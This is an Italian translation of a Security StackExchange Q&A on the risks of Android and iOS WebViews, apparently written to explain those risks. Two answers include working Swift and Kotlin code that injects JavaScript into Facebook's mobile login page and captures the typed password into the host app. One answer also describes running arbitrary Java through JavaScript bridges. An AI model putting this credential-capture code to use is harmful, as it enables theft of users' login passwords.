Le viste Web in Android sono sicure?

10

" Web Views " sono viste che mostrano alcuni contenuti online, di solito una pagina web all'interno di un app android.

Le "Web Views" implementate di solito non sembrano avere alcun tipo di barra di stato o una barra degli indirizzi per confermare se sono sul sito giusto o no. Così facendo è un perfetto exploit per le applicazioni dannose per servire la pagina web che può essere utilizzata per il phishing, ad esempio come una falsa pagina di accesso a Facebook che potrebbe rubare le mie credenziali con poco o nessun sospetto!

Essendo uno dei problemi, mi piacerebbe avere una risposta più dettagliata e definitiva.

Quindi le Web Views sono sicure? Quali rischi contengono?

Permettetemi di chiedere alcuni punti su questo: -

  • La visualizzazione Web pone le stesse lacune e difetti di sicurezza del browser Android di serie (perché è un derivato di esso?)
  • Una finestra di dialogo "ricorda password" viene spesso visualizzata per i moduli di invio password in Web Views. Le app sono completamente isolate da questo 'archivio password'?
  • Le app possono eventualmente "iniettare" del codice nella vista Web per tracciare le battute / i tocchi?
  • Quali altre parti della visualizzazione Web hanno accesso all'app?

Spero che questa domanda non sia troppo ampia.

    
posta Irfan 23.12.2012 - 18:53
fonte

5 risposte

4

Non esattamente quello che hai chiesto, ma vedo che le persone si dimenticano abbastanza spesso che sta diventando un problema.

I ponti JavaScript vengono utilizzati per uscire dalla sandbox del browser (funzione). Tuttavia, per le app compilate per il livello API < 17 (anche se stai eseguendo le ultime e le più grandi ma l'app è compilata con un livello API inferiore, è vulnerabile), puoi usare reflection per eseguire QUALSIASI codice Java da JavaScript (vedi < a href="https://d3adend.org/blog/?p=314"> Abuso dei ponti JavaScript WebView ).

Consentitemi di ripetere: con il ponte JavaScript abilitato in WebView, una "pagina web" può eseguire qualsiasi codice come applicazione WebView.

Altri riferimenti:

risposta data 28.08.2013 - 10:38
fonte
3

Non sono un ragazzo Android, dal mondo iOS, le visualizzazioni Web non sono affatto sicure. In iOS puoi sicuramente inserire javascript in WKWebKit . Qui ho preparato una demo.

import UIKit
import WebKit

class ViewController: UIViewController {

    private var webView: WKWebView?
    private var url = URL(string: "https://m.facebook.com/")!
    private var domInputFieldId = "m_login_password"


    override func viewDidLoad() {
        super.viewDidLoad()

        initializeWebView()
        loadData()

    }

    private func initializeWebView() {

        let javascript = """
    window.onload = function() {
         var passField = document.getElementById("\(domInputFieldId)");
         passField.addEventListener("input", function(evt) {
         window.webkit.messageHandlers.jsMessenger.postMessage("\(domInputFieldId): " + passField.value.toString());
         });
         window.webkit.messageHandlers.jsMessenger.postMessage("Window loaded");
    }
    window.webkit.messageHandlers.jsMessenger.postMessage("Script sent first message");
"""

        let userScript = WKUserScript.init(source: javascript,
                                           injectionTime: .atDocumentStart, forMainFrameOnly: true)

        let contentController = WKUserContentController()
        contentController.addUserScript(userScript)
        contentController.add(self, name: "jsMessenger")


        let config = WKWebViewConfiguration()
        config.userContentController = contentController

        webView = WKWebView(frame: view.frame, configuration: config)
        webView?.navigationDelegate = self

        view.addSubview(webView!)
    }

    private func loadData() {
        webView?.load(URLRequest.init(url: url))
    }

}

extension ViewController: WKNavigationDelegate {
    public func webView(_ webView: WKWebView, didFinish navigation: WKNavigation!) {
        print("WKWebView Delegate let me know, that it's done loading")
    }
}

extension ViewController: WKScriptMessageHandler {
    func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) {
        print(message.body)
    }
}

Tutto ciò che sto facendo è ascoltare il figlio DOM (Document Object Model) con id m_login_password e passarlo alla mia app.

uscita

    
risposta data 15.11.2018 - 23:42
fonte
2

Uno dei booleans disponibile per la classe WebView è setJavaScriptEnabled . Impostando su true / false si apriranno le normali vulnerabilità disponibili tramite JavaScript. Detto questo, WebView ha tutte le API disponibili per funzionare come un normale browser. Pertanto, tutte le normali precauzioni dovrebbero essere prese quando si scrive un WebView che accetta l'input dell'utente (validazione ecc.) O la visualizzazione di contenuto che è qualcosa di statico.

Riguardo al tuo punto sulla password di ricordare. Se si dispone di questa funzionalità e si salvano le credenziali nella visualizzazione Web dell'applicazione, questa non sarà disponibile per altre applicazioni su un dispositivo non arootato. Uno si sposta in un ambiente radicato tutto è possibile.

    
risposta data 23.12.2012 - 20:39
fonte
1

Can apps possibly 'inject' some code into the Web View to track keystrokes/taps?

Simile alla risposta di Ratul Sharker , risulta che lo stesso può essere ottenuto su Android:

import android.os.Bundle
import android.util.Log
import android.view.ViewGroup.LayoutParams
import android.view.ViewGroup.LayoutParams.MATCH_PARENT
import android.webkit.JavascriptInterface
import android.webkit.WebView
import android.webkit.WebViewClient
import androidx.appcompat.app.AppCompatActivity

class MainActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        WebView(this)
            .apply {
                layoutParams = LayoutParams(MATCH_PARENT, MATCH_PARENT)
                addJavascriptInterface(LoggerInterface(), "Logger")
                webViewClient = PasswordLogger()
                settings.javaScriptEnabled = true
                loadUrl("https://m.facebook.com")
            }
            .also(::setContentView)
    }

}

class PasswordLogger : WebViewClient() {
    override fun onPageFinished(view: WebView, url: String) {
        val script = """
            var field = document.getElementById("m_login_password");
            field.addEventListener("input", function(e) {
                Logger.log("password: " + field.value.toString());
            });
        """

        view.evaluateJavascript(script, null)
    }
}

class LoggerInterface {
    @JavascriptInterface
    fun log(message: String) = Log.d("Logger", message)
}

    
risposta data 17.01.2019 - 22:43
fonte
0

Lascia che risponda alle tue prime tre domande qui.

  1. Il browser Android di azioni utilizza WebView. (1) se Vulns in WebView, che il browser fa schifo. (2) se gli altri vulns del browser nella propria implementazione, altre app basate su WebView potrebbero non essere vulnerabili.

  2. L'app corrente può sempre leggere le password salvate in database / webview.db , poiché si trova nella sua memoria interna privata. Tuttavia, sembra che Google preveda di disabilitare questa funzione (vedi link ).

  3. L'app può inserire codice JavaScript nella visualizzazione web corrente, come questo caso . Tuttavia, non sono sicuro che questo codice JS iniettato possa tracciare i tasti. Personalmente penso che sia impossibile, a meno che non sia rootato o controlli il metodo di input.

risposta data 13.08.2013 - 09:19
fonte

Leggi altre domande sui tag